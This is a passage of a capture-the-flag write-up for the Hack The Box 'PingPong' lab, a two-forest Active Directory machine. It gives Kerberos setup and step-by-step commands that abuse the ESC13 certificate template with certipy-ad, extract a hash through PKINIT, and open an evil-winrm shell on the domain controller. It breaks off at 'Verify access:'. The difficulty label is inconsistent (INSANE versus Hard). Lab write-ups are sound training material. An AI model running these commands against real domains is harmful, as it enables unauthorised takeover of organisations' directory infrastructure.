active directory

Hack The Box - Season 10 HTB PingPong Writeup - INSANE- Weekly - April 25th, 2026

Hack The Box - Season 10 HTB PingPong Writeup - INSANE- Weekly - April 25th, 2026

Box Overview

Difficulty: Hard | OS: Windows | Type: Active Directory (Multi-Forest)

PingPong is a hard Active Directory machine featuring two forests bridged by a bidirectional trust:

  • PING.HTB — DC1: dc1.ping.htb — external entry point (IP changes per reset)
  • PONG.HTB — DC2: dc2.pong.htb — internal-only, reachable via DC1

NTLM is disabled on both domains — every authentication is Kerberos. The host clock has a significant skew from real UTC, requiring a clock workaround on every Kerberos operation. RC4 is also disabled on PONG.HTB, mandating AES256 keys.

Targets:

  • User flag: C:\Users\C.Carlssen\Desktop\user.txt on DC2
  • Root flag: C:\Users\Administrator\Desktop\root.txt on DC1

Pre-Engagement Setup

Variables

DC1_IP=<DC1_IP>            # Changes per reset
ATTACKER_IP=<ATTACKER_IP>  # Your VPN IP — verify with `ip addr show tun0`
DC2_IP=<DC2_INTERNAL_IP>   # Fixed internal IP for DC2

/etc/hosts

sudo sed -i "/ping\.htb/d;/pong\.htb/d" /etc/hosts
echo "<DC1_IP>  dc1.ping.htb ping.htb" | sudo tee -a /etc/hosts
echo "<DC2_INTERNAL_IP>  dc2.pong.htb pong.htb" | sudo tee -a /etc/hosts

/etc/krb5.conf

[libdefaults]
    default_realm = PING.HTB
    dns_lookup_realm = false
    dns_lookup_kdc = false
    kdc_timesync = 1
    forwardable = true

[realms]
    PING.HTB = {
        kdc = dc1.ping.htb
        admin_server = dc1.ping.htb
    }
    PONG.HTB = {
        kdc = dc2.pong.htb
        admin_server = dc2.pong.htb
    }

[domain_realm]
    .ping.htb = PING.HTB
    ping.htb = PING.HTB
    .pong.htb = PONG.HTB
    pong.htb = PONG.HTB

Tmux Session

Create a clean tmux session for managing all interactive windows:

tmux new-session -d -s pp -n work

Windows we'll create:

  • dc1 — evil-winrm shell on DC1 as c.roberts
  • ligolo — ligolo-proxy server
  • mssql — impacket-mssqlclient as C.Adam
  • root — evil-winrm as Administrator (final step)

Verify VPN IP

Critical: Always verify your VPN IP before starting — it can change between sessions and the ligolo agent must connect back to the correct address:

ip addr show tun0 | grep inet

Clock Skew Workaround

The DCs run on a clock that is significantly ahead of UTC. Wrap every Kerberos-related command with faketime '+<Houur> hours' to compensate. The exact offset can be discovered from the Kerberos error response or nmap's clock-skew script.


STEP 1 — Initial Access: ADCS ESC13 → WinRM on DC1

Entry credentials (assumed breach scenario): c.roberts / <REDACTED> @ ping.htb

1.1. Get Initial TGT

faketime '+<Houur> hours' impacket-getTGT 'ping.htb/c.roberts:<REDACTED>' -dc-ip <DC1_IP>

Output:

[*] Saving ticket in c.roberts.ccache

1.2. Enumerate ADCS

KRB5CCNAME=c.roberts.ccache faketime '+<Houur> hours' certipy-ad find \
  -u c.roberts@ping.htb -k -no-pass \
  -dc-ip <DC1_IP> -target dc1.ping.htb -stdout

Key findings:

  • CA: ping-DC1-CA on dc1.ping.htb
  • TemporaryWinRM template (ESC13): enrollable by Domain Users, Client Authentication EKU, issuance policy linked to TempWinRMAccess group
  • SmartcardAuthentication template: target for later ESC4

1.3. Request TemporaryWinRM Certificate (ESC13)

ESC13: when a certificate template's issuance policy maps to a security group, enrolling the certificate transfers that group membership to the holder via the PAC's issuance policy SID extension.

KRB5CCNAME=c.roberts.ccache faketime '+<Houur> hours' certipy-ad req \
  -u c.roberts@ping.htb -k -no-pass \
  -target dc1.ping.htb -dc-host dc1.ping.htb \
  -ca ping-DC1-CA -template TemporaryWinRM

Output:

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Got certificate with UPN 'C.Roberts@ping.htb'
[*] Certificate object SID is '<C_ROBERTS_SID>'
[*] Saving certificate and private key to 'c.roberts.pfx'

c.roberts SID captured — needed for the cross-forest DACL abuse later.

1.4. PKINIT Authentication

The PKINIT TGT is special: it includes the issuance policy SID mapping that grants TempWinRMAccess membership. A password-based TGT does NOT include this. Use the PKINIT ccache for WinRM operations.

rm -f c.roberts.ccache  # Avoid the overwrite prompt
faketime '+<Houur> hours' certipy-ad auth -pfx c.roberts.pfx -dc-ip <DC1_IP>

Output:

[*] Got TGT
[*] Saving credential cache to 'c.roberts.ccache'
[*] Got hash for 'c.roberts@ping.htb': <REDACTED>

1.5. WinRM Shell on DC1

Open in tmux for persistence:

tmux new-window -t pp -n dc1
tmux send-keys -t pp:dc1 "KRB5CCNAME=c.roberts.ccache faketime '+<Houur> hours' evil-winrm -i dc1.ping.htb -u c.roberts -r PING.HTB" Enter

Verify access: